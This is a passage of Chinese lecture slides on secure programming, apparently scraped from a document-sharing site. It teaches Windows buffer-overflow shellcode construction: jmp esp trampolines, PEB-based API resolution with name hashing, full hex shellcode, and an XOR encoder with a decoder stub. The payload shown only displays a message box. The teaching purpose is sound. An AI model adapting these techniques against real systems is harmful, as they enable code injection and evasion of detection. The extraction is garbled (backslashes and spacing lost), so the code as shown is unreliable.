《CC漏洞Shell最新课件》由会员分享,可在线阅读,更多相关《CC漏洞Shell最新课件(76页珍藏版)》请在金锄头文库上搜索。
1、安全性编程方法安全性编程方法天津农学院计算机系许晓华许晓华第5讲 Shellcode5.1Shellcode概述5.1.1shellcode与exploitshellcode:缓冲区溢出攻击中植入进程的代码.exploit:代码植入的过程,也叫漏洞利用.exploit的作用:淹没返回地址,劫持进程的控制权,之后跳转去执行shellcode.Shellcode具有一定的通用性.Exploit往往针对特定漏洞.利用VC+6.0制造ShellCode三个步骤:第一,首先利用VC+6.0写出实现自己想要的功能的代码第二,利用VC+6.0的调试功能下断点并反汇编,得到上述代码的汇编指令。第三,将汇编指令
2、重新编译,再次利用VC+的调试功能,查看内存数据,获取最终的十六进制Shellcode代码。第一步运行VC+6.0,选择“文件”中的”新建”,建立一个”C+SourceFile”,并将文件名设定为”shellcode”。输入如下代码后,编译运行,结果如图所示。#include void main()MessageBoxA(NULL,NULL,NULL,0);第二步在代码MessageBoxA的位置按F9键下一个断点。按F5键进行调试,程序会在断点处中断按Alt+8进行反汇编,可看到MessageBoxA函数调用所对应的5行汇编指令。按住Alt键选中这5行汇编指令,按Ctrl+C进行复制。Shi
3、ft+F5结束调试重新建立一个”C+SourceFile”文件,取名为”assemcode”,输入如下代码#include void main()_asm/这是这是VC+调用汇编指令的标识符调用汇编指令的标识符push 0push 0push 0push 0call dword ptr _imp_MessageBoxA16 (0042a2ac)按F7键进行编译,提示出错,如图所示错误原因在于最后一行汇编指令错误原因在于最后一行汇编指令call dword ptr _imp_MessageBoxA16 (0042a2ac)这是个间接内存调用指令,即这条指令实际调用的指令地址应该是保这是个间接内存
4、调用指令,即这条指令实际调用的指令地址应该是保存在存在0042a2ac地址中。所以应该将真正的地址取出来,再写入汇编地址中。所以应该将真正的地址取出来,再写入汇编指令中指令中(这个地址就是这个地址就是MessageBoxA函数在操作系统中的地址函数在操作系统中的地址)重新打开Shellcode工程,还是在MessageBoxA一行下一个断点,然后按F5进行调试。调试状态下会有个”Memory”窗口,意思是查看内存中数据的窗口,若没有这个窗口按Alt+6即可打开在”Memory”地址一栏输入”0042a2ac”,回车。可看到”0042a2ac”中保存的真实地址为“75D9EA11”修改”asse
5、mcode”的代码如下,运行,发现他同样弹出了错误对话框。#include void main()LoadLibrary(user32.dll);/MessageBoxA函数在这个库文件中_asm/这是VC+调用汇编指令的标识符push 0push 0push 0push 0mov eax,0x75D9EA11/将MessageBoxA函数的地址保存在eax寄存器call eax/调用MessageBoxA函数第三步下面需要将汇编指令转换为对应的十六进制机器码。在calleax行下断点然后F5、Alt+8可以看到汇编指令的地址从0040103C到0040104A在”Memory”窗口输入004
6、0103C,记录从0040103C到0040104A对应的十六进制机器码6A006A006A006A00B811EAD975FFD0调用十六进制机器码#include void main()LoadLibrary(user32.dll);char myshellcode=x6Ax00x6Ax00x6Ax00x6Ax00xB8x11xEAxD9x75xFFxD0;void *p=&myshellcode;_asmcall p5.2定位Shellcode4.4的代码植入实验,使用越界的字符完全控制返回地址后,需要将返回地址改写成shellcode在内存中的起始地址。在实际的漏洞利用过程中,由于动态
7、链接库的装入和卸载等原因,windows进程的函数栈帧很有可能会产生“移位”,即shellcode在内存中的地址是会动态变化的,因此像4.4那样将返回地址简单地覆盖成一个定值的作法往往不能让exploit奏效。因此必须想办法在程序运行时动态定位栈中的shellcode。回顾4.4实验在verify_password函数返回后栈中的情况:栈帧布局图栈帧布局图形参形参:password返回地址返回地址前栈前栈帧EBPauthenticated (0x00000001)buffer47 (ASCII: q q q null)buffer03 (ASCII: q q q q)绿色的线条体现了代码植入的
8、流程:将返回地址淹没为手工查出的shellcode起始地址0x0012FAF0,函数返回时这个地址被弹入EIP寄存器,处理器按照EIP寄存器中的地址取指令,最后栈中的数据被处理器当成指令得以执行。红色的线条则点出了这样一个细节:在函数返回的时候,ESP恰好指向栈帧中返回地址的后一个位置!一般情况下,ESP寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们所淹没的返回地址的下一个位置。由于ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,可以使用上图所示的这种定位shellcode的方法来进行动态定位:用内存中任意一个jmpesp指
9、令的地址覆盖函数返回地址,而不是原来用手工查出的shellcode起始地址直接覆盖函数返回后被重定向去执行内存中的这条jmpesp指令,而不是直接开始执行shellcode由于esp在函数返回时仍指向栈区(函数返回地址之后),jmpesp指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。这样jmpesp指令执行过后会恰好跳进shellcode。这种定位shellcode的方法使用进程空间里一条jmpesp指令做“跳板”,不论栈帧怎
10、么“移位”,都能够精确的跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。把4.4中的password.txt文件改造成上述思路的exploit,并加入安全退出的代码避免点击消息框后程序的崩溃。必须首先获得进程空间内一条jmpesp指令的地址作为“跳板”。4.4中有漏洞的密码验证程序已经加载了user32.dll,所以使用user32.dll中的jmpesp指令做为跳板。有两种方法获得跳转指令。编程通过OllyDbg的插件/ jmp?esp对应的机器码是 0xFFE4 /从user32.dll在内存中的基地址开始向后搜索 0xFFE4,并返回其内存地址(指针值)/#includ
11、e stdafx.h#include stdlib.h#include #include void main ()BYTE *ptr;/typedef unsigned char BYTE;int position, address ;BOOL done_flag = FALSE ;HINSTANCE handle = LoadLibrary (user32.dll);if (! handle ) printf( load dll error! ); exit(0);ptr = (BYTE *) handle ; for ( position = 0 ; !done_flag ; positi
12、on +) try if ( ptr position = 0xFF & ptr position + 1 = 0xE4 ) /0xFFE4 is the opcode of jmp esp int address = ( int ) ptr + position ; printf ( OPCODE found at 0x%xn , address ); catch (.) int address = ( int ) ptr + position ; printf ( END OF 0x%xn , address ); done_flag = true ; 除此以外,还可以通过OllyDbg的
13、插件轻易的获得整个进程空间中的各类跳转地址。下载插件OllyUni.dll,把它放在OllyDbg目录下的Plugins文件夹内,重新启动OllyDbg进行调试,将user32.dll拖动到ollydbg里,在代码框内单击右键,就可以使用这个插件了,如图:在制作exploit的时候,还应当修复4.4中的shellcode无法正常退出的缺陷。方法:在调用MessageBox之后,调用exit函数让程序退出。仍然用dependencywalker获得这个函数的入口地址。如图,ExitProcess是kernel32.dll的导出函数首先查出kernel32.dll的加载基址:0x7C800000然
14、后加上函数的偏移地址:0x0001CDDA得到函数入口最终的内存地址0x7C81CDDA。写出的shellcode的源代码如下:#include stdafx.h#include void main () HINSTANCE LibHandle ; char dllbuf 11 = user32.dll ; LibHandle = LoadLibrary(dllbuf); _asm sub sp , 0x440 xor ebx , ebx push ebx / cut string push 0x756F5965 push 0x766F4C49 /push ILOVEU mov eax , e
15、sp /load address of failwest push ebx push eax push eax push ebx mov eax , 0x77D507EA / address should be reset in different OS call eax /call MessageboxA push ebx mov eax , 0x7C81CAFA call eax /call exit(0) 为了提取出汇编代码对应的机器码,我们将上述代码用VC6.0编译运行通过后,再用OllyDbg加载可执行文件,选中所需的代码后可直接将其dump到文件中:现在已经具备了制作新exploi
16、t需要的所有信息:搜索到的jmpesp地址,即用作重定位shellcode的“跳板”:0x77DC14CC修改后并重新提取得到的shellcode:运行结果(弹出对话框且不报错)5.3缓冲区的组织5.3.1缓冲区的组成进入缓冲区的数据:填充物:一般为0x90(NOP)淹没返回地址的数据:跳转指令的地址Shellcode起始地址近似的shellcode地址shellcode:不同缓冲区的组织方式shellcode布置在返回地址之后的坏处返回地址之后是前栈桢数据,而实用的shellcode往往需要几百个字节,这样大规模地破坏前栈桢数据有可能引发一些问题shellcode布置在缓冲区内的好处合理利用
17、缓冲区,使攻击串的总长度减小对程序破坏小,比较稳定.5.3.2抬高栈顶保护shellcodeshellcode布置在缓冲区内的坏处:为了使shellcode具有较强的通用性,通常会在shellcode一开始就大范围抬高栈顶,把shellcode”藏”在栈内,从而达到自身保护的目的.5.3.3使用其他跳转指令5.3.4不使用跳转指令5.3.5函数返回地址移位Strcat产生的漏洞成功率只有1/45.4开发通用的shellcode5.4.1定位API的原理WindowsAPI是通过动态链接库中的导出函数来实现的内存操作等函数kernel32.dll图形界面相关的API-user32.dllWin3
18、2平台下的shellcode使用最广泛的方法-从进程控制块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用.所有的Win32程序都会加载ntdll.dll和kernel32.dll这两个最基础的动态链接库.定位kernel32.dll中API地址的方法通过段选择字FS在内存中找到当前的线程控制块TEBTEB偏移位置为0x30处存放着指向进程控制块PEB的指针.PEB偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息.PEB_LDR_DATA偏移位置为0x1C的地方存放着指向模块初始化链表的头指针InInitial
19、izationOrderModuleList.InInitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,第一个链表结点是ntdll.dll,第二个链表结点是kernel32.dll找到kernel32.dll结点后,再偏移0x08就是kernel32.dll在内存中的加载基址.再偏移0x3C,就是其PE头.再偏移0x78就存放着函数导出表的指针.在函数导出表中算出函数的入口地址导出表偏移0x1C处的指针指向存储导出函数偏移地址(RVA)的列表。导出表偏移0x20处的指针指向存储导出函数名的列表.RAV和函数名按顺序存放.RAV加上动态链接库的加
20、载基址,就得到API此刻在内存中的虚拟地址.5.4.2shellcode的加载与调试shellcode的最常见形式就是用转义字符把机器码存在一个字符数组中.例如,弹出消息框并能正常退出的程序的Shellcode可以存成这样的形式.如下程序,改写教材P88(本章ppt22)的弹出消息框并正常退出的程序.#includestdafx.h#includecharshellcode=x66x81xECx40x04x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50x53xB8xEAx07xD5x77xFFxD0x53xB8xFAxCAx81x7C
21、xFFxD0;voidmain()_asmleaeax,shellcodepusheaxret5.4.3动态定位API地址的shellcode需要如下API函数:MessageBoxA(位于user32.dll中,用于弹出消息框)ExitProcess(位于kernel32.dll中,用于正常退出程序)LoadLibraryA(位于kernel32.dll中,在调用MessageBoxA之前,先用LoadLibrary(“user32.dll”)装载其所属的动态链接库.)为了让shellcode尽可能短,需要对API函数名进行hash运算,得到digest(摘要)虽然这需要引入额外的hash算
22、法,但可以节省代码.#includestdafx.h#include#includeDWORDGetHash(char*fun_name)DWORDdigest=0;while(*fun_name)digest=(digest7);/循环右移7位digest+=*fun_name;fun_name+;returndigest;main()DWORDhash;hash=GetHash(MessageBoxA);printf(resultofhashis%.8xn,hash);最终代码#includestdafx.h#include#includeintmain()_asmnopnopnopnop
23、nopCLD;clearflagDF;storehashpush0x1e380a6a;hashofMessageBoxApush0x4fd18963;hashofExitProcesspush0x0c917432;hashofLoadLibraryAmovesi,esp;esi=addroffirstfunctionhashleaedi,esi-0xc;edi=addrtostartwritingfunction;makesomestackspacexorebx,ebxmovbh,0x04subesp,ebx;pushapointertouser32ontostackmovbx,0x3233;
24、restofebxisnullpushebxpush0x72657375pushespxoredx,edx;findbaseaddrofkernel32.dllmovebx,fs:edx+0x30;ebx=addressofPEBmovecx,ebx+0x0c;ecx=pointertoloaderdatamovecx,ecx+0x1c;ecx=firstentryininitialisationorderlistmovecx,ecx;ecx=secondentryinlist(kernel32.dll)movebp,ecx+0x08;ebp=baseaddressofkernel32.dll
25、find_lib_functions:lodsd;loadnexthashintoalandincrementesicmpeax,0x1e380a6a;hashofMessageBoxA-trigger;LoadLibrary(user32)jnefind_functionsxchgeax,ebp;savecurrenthashcalledi-0x8;LoadLibraryAxchgeax,ebp;restorecurrenthash,andupdateebp;withbaseaddressofuser32.dllfind_functions:pushad;preserveregistersm
26、oveax,ebp+0x3c;eax=startofPEheadermovecx,ebp+eax+0x78;ecx=relativeoffsetofexporttableaddecx,ebp;ecx=absoluteaddrofexporttablemovebx,ecx+0x20;ebx=relativeoffsetofnamestableaddebx,ebp;ebx=absoluteaddrofnamestablexoredi,edi;ediwillcountthroughthefunctionsnext_function_loop:incedi;incrementfunctioncount
27、ermovesi,ebx+edi*4;esi=relativeoffsetofcurrentfunctionnameaddesi,ebp;esi=absoluteaddrofcurrentfunctionnamecdq;dlwillholdhash(weknoweaxissmall)hash_loop:movsxeax,byteptresicmpal,ahjzcompare_hashroredx,7addedx,eaxincesijmphash_loopcompare_hash:cmpedx,esp+0x1c;comparetotherequestedhash(savedonstackfrom
28、pushad)jnznext_function_loopmovebx,ecx+0x24;ebx=relativeoffsetofordinalstableaddebx,ebp;ebx=absoluteaddrofordinalstablemovdi,ebx+2*edi;di=ordinalnumberofmatchedfunctionmovebx,ecx+0x1c;ebx=relativeoffsetofaddresstableaddebx,ebp;ebx=absoluteaddrofaddresstableaddebp,ebx+4*edi;addtoebp(baseaddrofmodule)
29、the;relativeoffsetofmatchedfunctionxchgeax,ebp;movefuncaddrintoeaxpopedi;ediislastontostackinpushadstosd;writefunctionaddrtoediandincrementedipushedipopad;restoreregisters;loopuntilwereachendoflasthashcmpeax,0x1e380a6ajnefind_lib_functionsfunction_call:xorebx,ebxpushebx/cutstringpush0x74736577push0x
30、6C696166/pushfailwestmoveax,esp/loadaddressoffailwestpushebxpusheaxpusheaxpushebxcalledi-0x04;/callMessageboxApushebxcalledi-0x08;/callExitProcessnopnopnopnop16进制机器码如下charpopup_general=xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x
31、33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax
32、38x1Ex75xA9x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8;#includestdafx.h#include#includecharpopup_general=xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx
33、69x08xADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDBx53x68x77x65x73x74x68x66x61x
34、69x6Cx8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8;voidmain()_asmleaeax,popup_generalpusheaxret5.5shellcode编码技术基于异或运算的编码器#includestdafx.h#include#include#include#includecharpopup_general=xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD
35、2x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1
36、Ex75xA9x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8x90;/shellcodeshouldbeendedwith0x90voidencoder(char*input,unsignedcharkey,intdisplay_flag)/booldisplay_flaginti=0,len=0;FILE*fp;unsignedchar*output;len=strlen(input);output=(unsignedchar*)malloc(len+1);if(!output)pr
37、intf(memoryerro!n);exit(0);/encodetheshellcodefor(i=0;ilen;i+)outputi=inputikey;if(!(fp=fopen(encode.txt,w+)printf(outputerro);exit(0);fprintf(fp,);for(i=0;ilen;i+)fprintf(fp,x%0.2x,outputi);if(i+1)%16=0)fprintf(fp,n);fprintf(fp,;);fclose(fp);printf(dumptheencodedshellcodetoencode.txtOK!n);if(displa
38、y_flag)/printtoscreenfor(i=0;ilen;i+)printf(%0.2x,outputi);if(i+1)%16=0)printf(n);free(output);voidmain()encoder(popup_general,0x44,1);运行后得到的shellcodexb8x2cx2ex4ex7cx5ax2cx27xcdx95x0bx2cx76x30xd5x48xcfxb0xc9x3axb0x77x9fxf3x40x6fxa7x22xffx77x76x17x2cx31x37x21x36x10x77x96x20xcfx1ex74xcfx0fx48xcfx0dx58
39、xcfx4dxcfx2dx4cxe9x79x2ex4ex7cx5ax31x41xd1xbbx13xbcxd1x24xcfx01x78xcfx08x41x3cx47x89xcfx1dx64x47x99x77xbbx03xcfx70xffx47xb1xddx4bxfax42x7ex80x30x4cx85x8ex43x47x94x02xafxb5x7fx10x60x58x31xa0xcfx1dx60x47x99x22xcfx78x3fxcfx1dx58x47x99x47x68xffxd1x1bxefx13x25x79x2ex4ex7cx5ax31xedx77x9fx17x2cx33x21x37x30
40、x2cx22x25x2dx28xcfx80x17x14x14x17xbbx13xb8x17xbbx13xbcxd4;解码器(不能直接运行)voidmain()_asmaddeax,0x14/locatetherealstartofshellcodexorecx,ecxdecode_loop:movbl,eax+ecxxorbl,0x44/key,shouldbechangedtodecodemoveax+ecx,blincecxcmpbl,0x90/assume0x90astheendmarkofshellcodejnedecode_loop最终代码如下#includestdafx.h#inc
41、lude#includecharfinal_sc_44=x83xC0x14/ADDEAX,14x33xC9/XORECX,ECXx8Ax1Cx08/MOVBL,BYTEPTRDS:EAX+ECXx80xF3x44/XORBL,44/notice0x44istakenastempkeytodecode!x88x1Cx08/MOVBYTEPTRDS:EAX+ECX,BLx41/INCECXx80xFBx90/CMPBL,90x75xF1/JNZSHORTdecoder.00401034xb8x2cx2ex4ex7cx5ax2cx27xcdx95x0bx2cx76x30xd5x48xcfxb0xc9
42、x3axb0x77x9fxf3x40x6fxa7x22xffx77x76x17x2cx31x37x21x36x10x77x96x20xcfx1ex74xcfx0fx48xcfx0dx58xcfx4dxcfx2dx4cxe9x79x2ex4ex7cx5ax31x41xd1xbbx13xbcxd1x24xcfx01x78xcfx08x41x3cx47x89xcfx1dx64x47x99x77xbbx03xcfx70xffx47xb1xddx4bxfax42x7ex80x30x4cx85x8ex43x47x94x02xafxb5x7fx10x60x58x31xa0xcfx1dx60x47x99x22xcfx78x3fxcfx1dx58x47x99x47x68xffxd1x1bxefx13x25x79x2ex4ex7cx5ax31xedx77x9fx17x2cx33x21x37x30x2cx22x25x2dx28xcfx80x17x14x14x17xbbx13xb8x17xbbx13xbcxd4;voidmain()_asmleaeax,final_sc_44pusheaxret安全编程许晓华pain past is